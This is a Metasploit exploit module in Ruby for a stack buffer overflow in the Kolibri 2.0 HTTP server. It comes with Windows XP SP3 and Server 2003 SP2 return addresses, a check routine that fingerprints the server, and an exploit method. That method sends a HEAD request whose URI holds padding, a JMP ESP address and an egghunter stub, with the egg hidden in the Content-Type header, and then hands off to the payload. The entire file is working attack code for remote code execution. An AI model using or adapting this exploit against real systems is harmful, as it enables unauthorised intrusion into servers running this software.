77 lines
2.2 KiB
Ruby
77 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
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'Description' => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
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'Author' =>
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[
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'mr_me <steventhomasseeley[at]gmail.com>', # msf
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'TheLeader', # original exploit
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'sinn3r', # msf commit
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],
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'References' =>
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[
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[ 'CVE', '2002-2268' ],
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[ 'OSVDB', '70808' ],
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[ 'BID', '6289' ],
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[ 'EDB', '15834' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 3000,
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'DisableNops' => true,
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'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
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[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
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],
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'DisclosureDate' => 'Dec 26 2010',
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'DefaultTarget' => 0))
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end
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def check
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info = http_fingerprint
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if info and (info =~ /kolibri-2\.0/)
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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#7E429353 FFE4 JMP ESP
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# For a reliable and large payload, we use an egg hunter
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# and direct RET to execute code
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print_status("Sending request...")
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eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
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sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
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sploit << eh_stub
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send_request_raw({
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'uri' => "/" + sploit,
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'version' => '1.1',
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'method' => 'HEAD',
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'headers' => {'Content-Type' => eh_egg},
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})
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handler
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end
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end
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